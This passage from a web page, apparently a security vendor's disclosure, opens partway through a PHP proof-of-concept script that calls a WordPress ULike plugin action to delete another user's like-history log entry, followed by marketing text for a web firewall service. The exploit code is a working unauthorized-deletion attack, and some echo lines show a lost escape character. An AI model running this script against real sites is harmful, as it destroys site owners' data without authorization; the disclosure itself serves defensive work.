    'action' => 'wp_ulike_delete_history_api',
    'id' => $target_log_id,
    '_wpnonce' => $nonce,
    'type' => 'post' // Assuming post type logs
]));

$response = curl_exec($ch);

// Check response
if (strpos($response, 'success') !== false) {
    echo "[+] Successfully deleted log entry ID: $target_log_idn";
} else {
    echo "[-] Failed to delete log entry. Response: $responsen";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School